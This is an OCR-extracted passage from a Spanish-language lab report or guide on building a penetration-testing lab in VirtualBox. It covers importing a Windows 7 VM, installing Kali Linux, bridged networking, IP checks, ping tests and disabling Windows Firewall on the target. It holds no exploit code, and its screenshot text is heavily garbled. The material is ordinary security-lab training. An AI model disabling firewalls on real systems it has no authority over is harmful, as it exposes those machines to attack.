Carpeta base de maquina: C\Users\rodri\VirtualBox VMs v
I Politica de direccion MAC:  Incluir solo la direccion MAC del adaptador de red NATI v

Opciones adicionales: Importar discos como VDI

Servicio virtualizado no firmado

Ayuda Anterior | Terminar I Cancelar

Fuente: Elaboracion propia

Tras la importacion, VirtualBox ofrece una revision de la configuracion de la maquina
virtual antes de finalizar el proceso. El usuario puede ajustar la memoria RAM, la cantidad de
procesadores asignados, el tamafio del disco duro virtual, y otros aspectos clave segun las
capacidades del equipo anfitrion. Este ajuste garantiza que el rendimiento de la maquina virtual

sea optimo.
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{
Archivo

lustracion 14 Inicio importacion del servicio virtualizado

U5 Oracle VirtualBox Administrador

L(JULIJ‘) Herramientas

Maquina  Ayuda

L —
H—

O—

“a R e

(% 5]

B8l &

Preferencias  Importar Exportar  Nueva Afadir

iBienvenido a VirtualBox!

Importando servicio virtualizado... &

1%

La parte izquierda de esta ventana contiene herramientas
globales y una lista de todas las maquinas virtuales y grupos
de maquinas virtuales en su computadora. Puede importar,
afiadir y crear nuevas MVs usando los botones
correspondientes de la barra de herramientas. Puede abrir u
«popup> del elemento seleccionado actualmente usando el
boton de elemento correspondiente. Puede presionar la tec
F1 para obtener ayuda instantanea o visitar www.virtualbox.d
para mas informacion y las dltimas noticias.

Please choose Experience Mode!

By default, the VirtualBox GUI is hiding some options, tools &
wizards

The Basic Mode is intended for those users who are not
interested in advanced functionality and prefer a simpler,
cleaner interface.

The Expert Mode is intended for experienced users who wis|
to utilize all VirtualBox functionality.

You can choose whether you are a beginner or experienced
user by selecting required option at the right. This cheice ca
always be changed in Global Preferences or Machine Setting
windows.

Fuente: Elaboracion propia

En este paso, VirtualBox comienza el proceso de importacion de la maquina virtual, donde

los archivos se descomprimen y los recursos se configuran de acuerdo con las especificaciones del

archivo OVA. Dependiendo del tamafio del archivo y del rendimiento del equipo, este proceso

puede tardar unos minutos.

llustracion 15 Importacion realizada exitosamente se carga en la interfaz de VirtualBox

5 Oracle VinualBox Administrador
Archiva  Magquina  Ayuda

Herramientas

ESI Seg. DB

il | Win7-SE2020-X64
) Apagada

i Bl
et W
Nueva Afadir

= General

Nombre:

Ry v -

Configuracion niciar

Win7-SE2020-X64

Sistema operativo: Windows 7 (64-bit)

Grupos:

ES| Seg. DB

1| Sistema

IMemoria base:

[Orden de arranque:  Optica, Disco duro

|Aceleracion

4056 MB.

Paginacién anidada, Paravirtualizacion Hyper-V

H pantaila

Memoria de video: 18 M8

Cantrolador grafico:

VBOXSWGA

Servidor de escritorio remoto:  Inhabilitado

Grabacism

Inhabilitado

\2/ Almacenamiento

Controlador: SATA

Puerto SATAQ:  Win7-SE2020-X64-disk001.vdli (Normal, 50,00 GBf
Puerto SATA 1: __ [Unidad dptica] Vacio
Audio
Controlador de anfitrién:  Windows DirectSound
Controlador, Audio Intel HD

& Red

Adaptador 1:_Intel PRO/1000 MT Deskiop (NAT)

use

Controlador USE

OHCI, EHC

Filtros de dispositivos: 0 (0 activa)

"] Carpetas compartidas

Ninguno

2 Descripcion

Ninguno

Fuente: Elaboracion propia

™ Previsualizacion

Win7-SE2020-X64
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Una vez finalizado el proceso de importacién, la maquina virtual de Windows 7 aparece

en la lista de maquinas disponibles en VirtualBox. El usuario ahora puede iniciar la maquina

virtual y comenzar a utilizar el sistema operativo. Esta confirmacion indica que la maquina virtual
esta lista para su uso.

Inicio del proceso para implementar el software Kali Linux en VirtualBox

llustracion 16 inicio carga de Kali Linux

[Nombre y sistema operativo de la maquina virtual]

VirtualBox para identificar esta maquina. Adicionalmente, puede seleccionar una imagen ISO que puede ser usada para instalar
el sistema operativo invitado.

Seleccione un nombre descriptivo y carpete destinc para la nueva méquina virtual. El nombre que seleccione seré usado por
Nombre: Kali_Linux_RIMK

L4
Carpeta: Ca\Users\rodri\Virtualgox VMs
Imfagen 1SO: | ] C:\Users\rodri\Downloads\kali-linux-2024.3-installer-amdé4.iso @
Edicion
Tipo:  Linux iff
Subtype: Ubuntu —
Version Ubuntu (64-bit)

Omitir instalacion desatendida

L) Tipo de SO detectado: Ubuntu (64-bit). Este tipo de SO no puede ser instalado de forma desatendida. Es
necesario iniciar manualmente la instalacion.
Ayuda

Fuente: Elaboracion propia

Similar al proceso de Windows 7, el usuario selecciona el archivo ISO de Kali Linux en
VirtualBox. Al comenzar la implementacion, se carga la imagen ISO preconfigurada de Kali

Linux, lista para ser usada en el entorno virtual. Kali Linux es un sistema operativo especializado
en seguridad y pruebas de penetracion.

llustracion 17 Asignacion de RAM y Procesadores

" | W5 Crear maquina virtual
Hardware

Puede meodificar el hardware de la maquina virtual cambiando la cantidad de RAM y nimero de CPU virtuales.
También es posible habilitar EFI.
Memoria base: ]

4 MB
Procesadores:

8192 MB =
24576 MB
1CPU 8 CPUs
() Habilitar EFI (sélo SO especiales)

Ayuda

anterior [ Siowente J]  cancetar
Fuente: Elaboracion propia
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Durante el proceso de configuracion de Kali Linux, el usuario asigna la cantidad de
memoria RAM y el nimero de procesadores virtuales. Es importante que estos valores se ajusten

en funcion de la capacidad del sistema anfitrion para garantizar un buen rendimiento de la maquina

virtual.

llustracién 18 Asignacion de espacio en disco

Disco duro virtual

Si lo desea puede afiadir un nuevo disco duro vitual a la nueva méquina. Puede crear un nuevo archivo de disco
duro o seleccionar uno existente. De forma alternativa puede crear una maquina virtual sin un disco duro virtual

© Crear un disco duro virtual ahora
Tamano de disco: '
4,00 MB 2,00TB
() Reservar tamafio completo
) Usar un archivo de disco duro virtual existente

Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB)

() No afiadir un disco duro virtual

Ayuda Anterior Cancelar

Fuente: Elaboracion propia
Este paso permite al usuario definir el espacio en disco para la maquina virtual de Kali
Linux. La asignacion de un espacio suficiente es crucial, ya que Kali Linux requerira
almacenamiento para los programas y herramientas que se instalaran posteriormente.
llustracion 19 Resumen de la configuracién de la maquina virtual

La siguiente tabla resume la configuracion que ha elegido para la nueva maqguina virtual. Cuando esté conforme con la
configuracion presione Finalizar para crear la maguina virtual. También puede volver atras y modificar la configuracion.

‘%2 Nombre y tipo de SO de la maquina
Nombre de maquina Kali_Linux_RIMK
Carpeta de la maquina C:/Users/rodri/VirtualBox VMSs/ESI Seg. DB/Kali_Linux_RIMK
Imagen ISO C:/Users/rodri/Downloads/kali-linux-2024.3-installer-amdé4.iso
Tipo de SO invitado Ubuntu (64-bit)
Omitir instalacién desatendida false
C} Hardware
Memoria base 8192
Procesador(es) 2
Habilitar EFI false
&) Disco
Tamanio de disco 25,00 GB
Reservar tamario completo false

Ayuda Anterior Cancelar

Fuente: Elaboracion propia
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VirtualBox muestra un resumen de todas las configuraciones aplicadas, incluyendo la
cantidad de RAM, procesadores, y espacio en disco asignados. Este resumen permite revisar las
configuraciones antes de completar la creacion de la maquina virtual. Si es necesario, el usuario
puede hacer ajustes finales antes de proceder.

lustracion 20 Maquina de Kali Linux en la interfaz de VirtualBox

€51 Seg. DB

wedl | Win7-SE2020-X64
© Apagada

| previsualizacion

E6aP™ Kali_Linux RIMK
M © Apagada

Kali_Linux RIMK

Fuente: Elaboracion propia
La maquina virtual de Kali Linux ya ha sido importada y aparece en la interfaz de
VirtualBox, lista para ser utilizada. El sistema esta preconfigurado y el usuario puede iniciarlo
para comenzar a trabajar en un entorno seguro y controlado.

llustracién 21 Arrancando Win 7 en VirtualBox

Fuente: Elaboracion propia
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En este paso, el usuario inicia la maquina virtual de Windows 7 haciendo clic en el boton

"Iniciar". VirtualBox carga el sistema operativo y muestra la pantalla de arranque de Windows. El

proceso es similar al de encender una computadora fisica.

llustracion 22 Escritorio de Windows 7 cargado en VirtualBox

| Microsoft Windows

&=
Debe reiniciar el equipo para aplicar los
cambios.

Antes de reiniciar, guarde cualquier archivo abierto y cierre
todos los programas.

Reiniciar ahora_| [ Reiniciar mas tarde

~ 0148 pm.

O |8 5000
Fuente: Elaboracién propia

El escritorio de Windows 7 se carga exitosamente dentro de la méquina virtual. Esto
confirma que el sistema operativo ha sido iniciado correctamente y esta listo para ser utilizado. A

partir de este punto, el usuario puede comenzar a realizar tareas dentro del entorno de Windows 7.
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Configuracién de Kali Linux

llustracion 23 Configuracion de idioma en Kali Linux

Select a language

| KALI I

Language:

Persian

Portuguese (Brazil)

Choose the language to be used for the installation process. The selected language will also be the defaulr
language for the installed system.

R (2]
Polish Polski
Portuguese Portugués

Portugués do Brasil

Punjabi (Gurmukhi) - it
Romanian Romana
Russian Pycckmi
serbian (Cyrillic) - Cpncku
Sinhala - £lorom
Slovak

Slovencina

Spanish

Espafiol
Swedis| 1
Tagalog Tagalog
Tajik Touuki

[

{ Go Back }I Continue ]

Fuente: Elaboracion propia
Durante la instalacion de Kali Linux, se solicita al usuario seleccionar el idioma preferido.
Esto definiréd el idioma del sistema operativo y sus menus, asegurando que el entorno sea accesible

para el usuario.

lustracién 24 Configuracion seleccion de ubicacion

T o .

Seleccione su ubicacién

La ubicacién seleccionada aqui se utilizara para fijar su zona horaria y © ie i
« s -lonad > ar Su -

como para ay| a
de su Esta sera habit el pais donde vd. vive.

sta reducida de ubicaciones basada en el idioma que ha seleccionado. Escoja «otro» si su
esta en la lista.

‘Costa Rica
Cuba

Ecuador

El Salvador
Espaia
Estados Unidos
‘Guatemala

Capturar la pantalla [

pre——

Fuente: Elaboracion propia
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El siguiente paso es seleccionar la ubicacion geografica, que determinara la zona horaria 'y
las configuraciones regionales del sistema. Esto es importante para que el reloj del sistema y otros
parametros locales funcionen correctamente.

llustracion 25 Configuracion del teclado

T

Mapa de teclado a usar:
Canarés =
Kazajo
Jemer
Kirghizo
Coreano
Kkurdo (variante F)
Kurdo (variante Q)
Laosiano
[ Latinoamericano
eton
Lituano
Macedonio
Malayalamo
Nepalés
Sami septentrional
Noruego
Persa =]

capturar la pantalla | ‘ Retroceder | [ Continuar ]

Fuente: Elaboracion propia
El usuario debe seleccionar la disposicion del teclado, segun su preferencia o el tipo de
teclado fisico que esté utilizando. Esto garantiza que las teclas se correspondan correctamente con
los caracteres escritos.

llustracion 26 Carga de componentes de Kali Linux

T o

[Cargar componentes delinstalador desde los medios de instalacion |

[ ] cargando componentes adicionales

Descargando apt-setup-udeb

Fuente: Elaboracion propia
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En este paso, el sistema comienza a cargar los archivos y componentes necesarios para la
instalacion de Kali Linux. Esta fase puede tardar algunos minutos, dependiendo del sistema.

llustracion 27 Configuracion de red Asignacion de nombre a la maquina

T .

Por favor, introduzca el nombre de la maquina.

El nombre de maquina es una sola palabra que identifica el sistema en la red. Consulte al administrador de red

si no sabe qué nombre deberia tener. Si asta o ando una red ica puede inventarse este nombre.
Nombre de la maquina:
[ KaliRimk] ]

Capturar la pantalla | Retroceder |I[ Continuar ]I

Fuente: Elaboracién propia

Se asigna un nombre Unico (hostname) a la maquina virtual dentro de la red. Este nombre

es importante para la identificacion de la maquina en una red de trabajo o en pruebas de seguridad.

lustracion 28 Configuracion de nombre y contrasefia

T .

[ configurar usuarios y contrasenas |

Se creara una cuenta de usuario para que la use en vez de la cuenta de superusuario en sus tareas que no
sean administrativas.

Por favor, introduzca el nombre real de este usuario. Esta informacién se usara, por ejemplo, como el origen

predeterminado para los correos enviados por el usuario o como fuente de informacién para los programas que
muestren el nombre real del usuario. Su nombre completo es una eleccion razonable.
Nombre completo para el nuevoe usuario:

[kali

J

Capturar la pantalla | Retroceder

Continuar ] I

Fuente: Elaboracion propia
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Aqui, el usuario define las credenciales de acceso, incluyendo el nombre de usuario y la

contrasefia del administrador de Kali Linux. Esto es fundamental para la seguridad del sistema.
lustracion 29 Configuracion de contrasefia

T

I cConfigurar usuarios y contrasefias I

Segurese de seleccionar Una contrasena segura que no pueda ser adivinada.
Elija una contrasefia para el nuevo usuario:

[ essese

[ Mostrar la contrasefia en claro

Por favor, introduzca la misma contrasefia de usuario de nuevo para verificar que la introdujo correctamente.
Vvuelva a introducir la contraseria para su verificacion:

[ essee

[ [Mostrar la contraseiia en claro|

Capturar la pantalla ‘

N

etrocouor | conumuar | |
Fuente: Elaboracién propia

Se confirma la contrasefia creada en el paso anterior para evitar errores y garantizar el
acceso seguro al sistema.

llustracién 30 Configuracion del reloj

Configurar el reloj

Obteniendo la hora de un servidor de hora en red...

Cancelar

Fuente: Elaboracion propia

El sistema ajusta automaticamente la hora y fecha en funcién de la ubicacion geogréafica

seleccionada previamente. Esto asegura que el reloj del sistema esté sincronizado correctamente.
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llustracién 31 Particiéon de disco

I Particionado de discos I

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si lo
mas adelante de revisar y adaptar los resultados.

desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la oportunidad

‘Guiado - utilizar el disco completo y configurar LVM

Guiado - utilizar todo el disco y configurar LVM cifrado
Manual

Capturar la pantalla

[ Retroceder ] [

Fuente: Elaboracion propia

Continuar ]

llustracién 32 Particiéon de disco

Tenga en cuenta que se borraran todos los datos en el disco que ha seleccionado. Este borrado no se realizara
hasta que confirme que realmente quiere hacer los cambios.

—
Elija disco a particionar:
SCsSI3 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK

Caprturar la pantalla

[ Retroceder

i[ Continuar ]I
Fuente: Elaboracion propia

En este paso, se realiza la particion del disco virtual. Esto significa que se define como se

distribuira el espacio de almacenamiento dentro del sistema Kali Linux, una parte esencial para la
organizacion de los archivos y programas.
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llustracion 33 Seleccidn de particion de disco

Seleccionado para particionar: I

5CSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 26.8 GB

Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas disponibles. Si no esta
seguro, escoja el primero de ellos.

Esquema del particionado:

Todos los ficheros en una particién (recomendado para novaros)
Separar la particion /home

Separar particiones /home, /var y /tmp

|
Fuente: Elaboracién propia

Continuar ] I

El usuario confirma la seleccién de la particién donde se instalara el sistema operativo.

Este paso es critico ya que establece el espacio donde Kali Linux almacenara todos sus datos.

llustracién 34 Finalizacion del proceso de particion del disco

T

[ Particionado de discos |

Este es un resumen de las particiones y puntos de montaje que tiene configurados actualmente. Seleccione una particicn
para modificar sus valores (sistema de ficheros, puntos de montaje, etc.), el espacio libre para afiadir una particion nueva
o un dispositivo para inicializar la tabla de particiones.

Particionado guiado

Configurar RAID por software

Configurar el Gestor de Volimenes Légicos (LVM)

Configurar los volimenes cifrados

Configurar los volumenes iSCSI

=~ SCSI3 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK
= #1 primaria 25.8 GB f extd !
= #5 légica 1.0 GB f intercambio intercambio
los a las partici

Finalizar el particionado y escribir los cambios en el disco

[rerrem—r——| p———— [

re—— |

Fuente: Elaboracién propia

Una vez finalizada la configuracion de particiones, el sistema procede a aplicar los cambios

y a preparar el disco virtual para la instalacion.
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llustracion 35 Particion del disco se guardaran los cambios

| KALI |

Se escribiran en los discos todos los bios indicad
cambios manualmente.

a conti ion si continda. Si no lo hace podra hacer

Se han modificado las tablas de parrtici de los sigui es di
SCsI3 (0,0,0) (sda)

itivos:

Se formatearan las siguientes particiones:
particién #1 de SCSI3 (0,0,0) (sda) como ext4
particion #5 de SCSI13 (0,0,0) (sda) como intercambio
sDesea escribir los cambios en los discos?

) No

=& ]

Capturar la pantalla I [ Continuar ]I

L3
Fuente: Elaboracion propia

Los cambios en el disco virtual se aplican y el sistema esté listo para comenzar a instalar

Kali Linux en la particion designada.

lustracién 36 Instalacion del sistema

| KALI I

I Instalar el sistema base I

- Instalando el sistema base

Validando base-passwd...

Fuente: Elaboracién propia

Kali Linux comienza la instalacion de todos los archivos y componentes necesarios en el

disco virtual. Este proceso puede llevar varios minutos.
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lustracion 37 Seleccidn de programas a instalar

| KALI I

At the moment, only the core of the system is installed. The default selections below will install Kali Linux with
its standard desktop envir and the default tools.

I Seleccion de programas I

You can customize it by choosing a different desktop environment or a different collection of tools.
Choose software to install:

Desktop environment [selecting this item has no effect]

... Xfce (Kali's default desktop envir ]

[ ... GNOME

[] ... KDE Plasma

Collection of tools [selecting this item has no effect]
... top10 -- the 10 most popular tools

... default - r ded tools (; ilable in the live system)

e )
Fuente: Elaboracion propia

El usuario tiene la opcion de seleccionar qué programas adicionales instalar junto con Kali

Linux. Esto puede incluir herramientas especificas de seguridad y hacking ético, dependiendo de

las necesidades del usuario.

llustracion 38 Seleccidn e instalacion de programas

| KALI I

I Seleccionar e instalar programas I

- Seleccionar e instalar programas

Descargando fichero 157 de 2571

Fuente: Elaboracién propia
Los programas seleccionados se estan instalando junto con el sistema base de Kali Linux.

Esto asegura que el entorno esté completo con todas las herramientas necesarias.
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llustracion 39 Instalacion del cargador de arranque de Kali Linux

T

I Instalando el cargador de arranque GRUB I

Parece que esta instalacién es el dnico sistema operativoe en el ordenador. Si esto es asi, puede instalar sin
riesgos el cargador de arranque GRUB en su unidad principal (particién UEFI o registro de arranque).

Advertencia: si su ordenador tiene otro sistema operativo que el instalador no pudo detectar, esto hara que
ese sistema operativo no se pueda iniciar temporalmente, aunque GRUB se puede configurar manualmente
mas tarde para iniciarlo.

sDesea instalar el cargador de arranque GRUB en su unidad principal?

) No

=]

Capturar la panrtalla J [ Retroceder I{ Con(inuar‘ JI
Fuente: Elaboracion propia

En este paso, se instala el gestor de arranque GRUB, que permitira al usuario iniciar Kali

Linux de forma segura cada vez que se encienda la maquina virtual.

llustracion 40 Seleccidn del dispositivo que fue creado

I Instalando el cargador de arranque GRUB I

Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el cargador
GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar GRUB en su unidad
principal (particién UEFI o registro principal de arranque). Si lo prefiere, puede instalar GRUB en cualquier
otra unidad (o particion), o incluso en un medio removible.

Dispositivo donde instalar el cargador de arranque:

Introducir el dispositivo manualmente

| /dev/sda (ata-VBOX_HARDDISK VB3441c139-4cbdbe9b)

Caprturar la pantalla ] [ Retroceder ]I[ cuniinuar ]I

Fuente: Elaboracion propia

El usuario selecciona el dispositivo (disco virtual) donde se instalarda GRUB. Esto garantiza

que el sistema operativo arranque correctamente.
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llustracién 41 Proceso de instalacion de Kali Linux finalizando

| KALI |

I Terminar la instalacion I

virtualbox-guest-x11 (amd64} instalado

Fuente: Elaboracion propia
La instalacion de Kali Linux esta en su fase final. El sistema operativo esta casi listo para
ser utilizado.

llustracién 42 Instalacién finalizada con éxito
I Terminar la instalacion I

Instalacién completada

La instalacién se ha completado. Ahora podra arrancar el nuevo sistema. Aseglirese de extraer el
medio de instalacién para que el sistema arranque del disco en lugar de reiniciar la instalacién.

Por favor, elija <Continuar> para reiniciar.

Capturar la pantalla { Retroceder ][ Continuar ]

Fuente: Elaboracion propia

Kali Linux ha sido instalado con éxito y la maquina virtual esta lista para su primer
arrangque. Ahora el usuario puede comenzar a utilizar el entorno de pruebas y seguridad de Kali

Linux.
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Configuracién de las NIC en las maquinas virtualizadas Win7 y Kali Linux

llustracion 43 Configuracion tarjeta de red en Win7

18 ora
| oy
Herramientas {lw} Lu'] ';,,!.}J Ij(/ -
we Nueva Afadir Configuracion Descariar  Iniciar
ESI Seg. DB B General o pr
Nombre: Win7-SE2020-X64 —
2547 Kali_ Linux RIMK Sistema operativo:  Windows 7 (64-bit) J
o 1
& Apagada [ it seznan st -setigs - o X
ZE T SERGO = Expert Search settings D
U tpagaca = . :
B General Red
= )
Adaptador 1
& sistema
8 Habilitar adaptador de red
. Pantalla
- (Conectado a:  Adaptador puente
# Almacenamiento Nombre:  Intel(R) Wi-Fi 6 AX200 160MHz
(1 Audio
=
@ Habilitar controlador USB |
= O Controlador USB 1.1 (OHCY
[ Carpetas compartdas © Controlador USB 2.0 (HCI + EHCT)
(O controlador USB 3.0 (<HCT) | |
Carpetas compartidas |
Nombre Ruta Acceso  Automontar  En :,
Invalid setfings detected "_. Cancelar Ayuda =

FlIJente: Elaboracion propia
La imagen muestra la ventana de configuracion de la tarjeta de red de una maquina virtual
Windows 7 en VirtualBox, en la que esta seleccionado el modo Adaptador puente. Este modo
permite a la maquina virtual compartir la misma red fisica que el ordenador anfitrién, permitiendo

a Windows 7 obtener una direccion IP directamente del router.

llustracién 44 Iniciando la maquina virtual Kali Linux

Fuente: Elaboracién propia
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En este paso, el usuario selecciona la maquina virtual de Kali Linux en VirtualBox y hace
clic en "Iniciar”. La imagen puede mostrar el proceso de arranque inicial, donde Kali Linux esta
cargando todos sus componentes. Al estar en modo Adaptador Puente, la maquina virtual estara
lista para obtener su direccion IP directamente del router de la red local, permitiendo una
integracién fluida con otros dispositivos conectados a la misma red.

llustracién 45 Escritorio de Kali Linux

a B 624 | @ &

Home

Kali Linux es un sistema operativo seguro que ofrece una interfaz grafica de usuario para
acceder a diversas herramientas de ciberseguridad. Su configuracion en modo Bridge Adapter o
Adaptador Puente, le permite comunicarse con otros dispositivos de la red local, incluido
Windows 7, y acceder a Internet, lo que lo hace ideal para pruebas de penetracion y analisis de

vulnerabilidades.
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lustracion 46 Configuracion tarjeta de red de Kali Linux

V]
M Il r ¢
1Ae 3§ S 4
C
[Af] Herramientas i\%,;; L\_H pR=N g I_Q> -
o Nueva Afadir  Configuracién Descartar  Iniciar
ESI Seq. DB M| General
Nombre: Kali_Linux_RIMK
[x6aP™ Kali_Linux_RIMK Ol Cictanan anarativa: st (£A4 kit
© Apagada L TEEETI i
[xsa) Win7-SE2020-X64 w Expert Search settings &
() Apagada
B General Red
2 s Adaptador 1
istema
Habilitar adaptador de red
- Pantalla
Conectado a:  Adaptador puente v
y'l Almacenamiento Nombre: Intel(R) Wi-Fi 6 AX200 160MHz @
(0 Audio
EEE. |
Habilitar controlador USB
Y uss

O controlador USB 1.1 (OHQ)

»| Carpetas compartidas © Controlador USB 2.0 (OHCI + EHCI)
O Controlador USB 3.0 (xHC

Carpetas compartidas

‘Numbre Ruta Acceso Automontar En | L&l

| Aceptar || cancelar Ayuda

Fuénte: Elabo.raci-én propia

La ventana de configuracion de la tarjeta de red en Kali Linux esta establecida en modo
Adaptador Puente, lo que permite compartir la red fisica con el host. El usuario puede verificar
que la interfaz de red esté activa y que se le haya asignado una direccion IP adecuada. Esta
configuracion asegura que Kali Linux pueda comunicarse sin restricciones con Windows 7 y otros
dispositivos en la misma red, lo cual es fundamental para llevar a cabo actividades de
ciberseguridad efectivas.

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas Windows
con la maquina de Kali Linux, recuerde por favor no encender las tres maquinas al tiempo ya que
puede colapsar los recursos hardware de su equipo host, encienda primero una maquina Windows

y posterior a ello encienda la maquina Kali Linux.
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Verificacion de la IP asignada a la maquina virtual de Win7

llustracién 47 Verificacién de IP de Win7

Bl Administrador: C:hWindowshsystem32hcmd.exe

Microsoft Windows [Uersion 6.1.76811
Copyuright <{c»> 20809 HMicrosoft Corporation. Reservados todos los derechos.

C -~ Users~usuario>ipconfig ~all

Configuracidn IP de Windows
Hombre de host. . - - PC2BA2086

EufFijo DHE princ 1pa1 - -

Tipo de nodo.

Enrutamiento IP habilitado.
Proxy WIMNS habilitado . . .

hibrido
no
no

Adaptador» de Ethernet Conexidn de area local:

Sufl.]o DNS egpeclflco para la conexidn. .
- - - - - - = - Ndaptador de escritorioc Inteld{R>

Direccidn fisica. . . . - - - - ag—Aa—-27-32—-880-CA
si

DHCP habilitado . - -
Configuracidn automatica habilitada . . si
VUinculo: direccidn IPv6 local. . . = FeBA 842 :9ced:4e38:-7898x11 (Preferidod

- e - - - 192.168.5.182(Preferidol
de subred . - - 255 .255.255.8
obtenida. - - domingo, 13 de octubre de 2824 B2

La concesidn expira - - June=, 14 de octubre de 28024 @A2:-2
3:52 p.m.

Puerta de enlace predetelmlnada 192 _168.5.1

Servidor DHCP . . . . - 122 168.5.1

IAID DHCPuG . - - 2354805351

DUID de cliente DHCPUG . - A0—A1—-A8—-A1—26—88—-7D—18—@A8—AA—27—
?2—88—-Ca

Servidores DHNS. . . . . - 2808.75 .51 132

51 .133
MetBIOE sobre TCP-IFP. . . - habilitado

Adaptador de tinel isatap.{SBESBED2-2?BHA4 4722 -BEB3-D289D73C2468% =
Estado de los medios. . medios desconectados

Sufijo DHNS ecifico pala la cnnexlén
- - Adaptador» IZSATAFP de I“Iigrusuft

De..ct-lpclun e e e e e -
Direccicn fisica. - e e e e a B8 —-a8-88—a8—-B8—-B88—E
no

DHCPF habilitado . .
Configuracidn automatlca ]1ab111tada =i

ssUserssusuario>

© e - < | 5= |

Fuente: Elaboracion propia

En este paso, se verifica la direccion IP asignada a la maquina virtual Windows 7 utilizando
el comando ipconfig en la linea de comandos (CMD). Este comando muestra la configuracion de
red, incluyendo la direccion IP asignada. Es esencial confirmar que la maquina virtual tiene una
IP valida y que estd dentro de la misma red que la maquina Kali Linux para garantizar una

comunicacion fluida entre ambas.
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Verificacion de la IP asignada a la maquina virtual Kali Linux
llustracion 48 Verificacion de la IP de la maquina Virtual Kali Linux

S mmP D1 2 4 |~ O 4% A By |a G

' - kali@KaliRimk: ~

File Actions Edit View Help

etho: flags=4163<UP,BROADCART,RUNNING,MULTICAST> mtu 1500
inet 192.168.5.105 fnetmask 255.255.255.0 broadcast 192.168.5.255
: inet6 te80::a00:2 :fe62:ecaf prefixlen 64 scopeid 0x20<link>
File System ether 08:00:27:62:ec:af txqueuelen 1000 (Ethernet)

RX packets 14 bytes 2284 (2.2 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 28 bytes 3676 (3.5 KiB)
P 3 TX errors @ dropped @ overruns @ carrier @ collisions @

Home lo: flags..=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: Elaboracion propia
Similar a la verificacion en Windows 7, aqui se revisa la direccion IP de Kali Linux. Para
hacerlo, se utiliza el comando ifconfig o ip a en la terminal de Kali Linux. Este paso es clave para
asegurarse de que ambas maquinas virtuales (Windows 7 y Kali Linux) estan en la misma red
virtual, lo cual es necesario para que se puedan comunicar entre si.

llustracion 49 Asignacion de direccionamiento

Asignacion de direccionamiento a las maquinas virtualizadas

| Maquinas | IP asignadas a las maquinas

Win 7 192.168.5.102
Kali Linux 192.168.5.105 i

Fuente: Elaboracion propia

La imagen muestra cdmo se asignan correctamente las direcciones IP a ambas maquinas.
Es fundamental que ambas tengan direcciones IP dentro del mismo rango de red para facilitar la
comunicacion. En este paso, se verifica que la configuracion de red esté bien alineada para permitir

el intercambio de datos entre las maquinas Windows 7 y Kali Linux.
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Ping desde Windows 7

ER Administrador ChWindows\system32\cmd. exe

slUserssusuariorping 192,

Haciendo ping a 192.168.5. hytes de datos:

Hespuesta desde 192 _.168.5. : h 32 tiempo=ims TTL=64
Hespuesta desde 192.168.5. tiempo=imz TTL=64
Hespuesta desde 192 _.168.5. tiempo=imz TTL=64
Respuesta desde 192_168.5. : bytes=32 tiempo<im TTL=64

.168.5.185:

Estadisticas de ping para
Paguetes: enviados = 4, recibidos = 4. perdidos = 8
{Bx perdidos>.

Tiempos aproximados de ida v wuelta en milisegundos:
Minimo = Bmsz, Maximo = Ims, Media = Bms

C:Userssusuario’

Fuente: Elaboracion propia

=8 R

lustracion 50 Prueba de comunicacion entre las maquinas desde Win7 hacia Kali Linux

Aqui se realiza una prueba de conectividad usando el comando ping desde la maquina

Windows 7 hacia Kali Linux. Un ping exitoso muestra que los paquetes de red enviados desde

Windows 7 estan siendo recibidos por Kali Linux, lo que confirma que las maquinas estan

conectadas correctamente dentro de la red. La respuesta al ping es una prueba sencilla pero efectiva

de la conectividad.

llustracién 51 Deshabilitar el Firewall de Windows

El Administracién del color
| Barra de tareas y meni Inicio
W Centro de movilidad de Windows
[ Conexién de RemoteApp y Escritoric
s Copias de seguridad y restauracion
Fecha y hora
&% Gadgets de escritorio
Bl Iconos del érea de notificacién
£ Opciones de carpeta
1 Opciones de Intemet
@ Programas predeterminados
&5 Recuperacisn
& Solucién de problemas
& Teclado
B Windows CardSpace

B Administradar de credenciales

@ Centro de accesibilidad

5 Centro de redes y recursos comparti...

& Configuracién regional y de idioma

2, Cuentas de usuario

*& Grupo Hogar

B Informacién y herramientas de rendi...

39 Opciones de energia

B pantclla

&l Programas y caracteristicas
md Reproduccion automatica
% Sonido

{5 Teléfone y médem

B8 Windows Defender

== ===
-\ngl@ » Panel de control » Todos los elementos de Panel de control » I - | +4 | ‘ Buscar en el Panel de control 2
Ajustar la configuracion del equipo Verpor.  Iconos pequefios ¥

&% Administrador de dispositivos
¥ Centro de actividades
) Centro de sincronizacién
# Contrel parental
&5 Dispositives e impreseras
A Fuentes
+] Herramientas administrativas
P Mouse
& Opciones de indizacién
B personalizacion
& Reconocimiento de vor
1® Sisterma
J Tareas iniciales
B Ubicacion y otros sensores

] Windows Update

Fuente: Elaboracion propia
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Antes de probar la comunicacién desde Kali Linux hacia Windows 7, es necesario
desactivar el firewall de Windows para evitar que éste bloguee el trafico entrante. En este paso, se
accede al Panel de Control de Windows, se busca el icono de Firewall de Windows, y se procede
a desactivarlo temporalmente. Esta accion permitird que la maquina Windows 7 reciba las
solicitudes de red desde Kali Linux sin restricciones.

llustraciéon 52 Desactivando el Firewall de Windows

[E= o ===
@\'Jﬂﬂ <« Todos los elementos de Panel de cont... » Firewall de Windows ~ [ 42 | [ Buscar en el Panet de control o
@ -

Ventana principal del Panel de

e Ayude a proteger su equipo con Firewall de Windows

Firewall de Windows ayuda a impedir que hackers o software malintencionado obtengan acceso al

AT [T € s equipe a través de Internet o de una red.

caracteristica a través de
Firewall de Windows :Cémo me ayuda un firewall a proteger mi equipo?

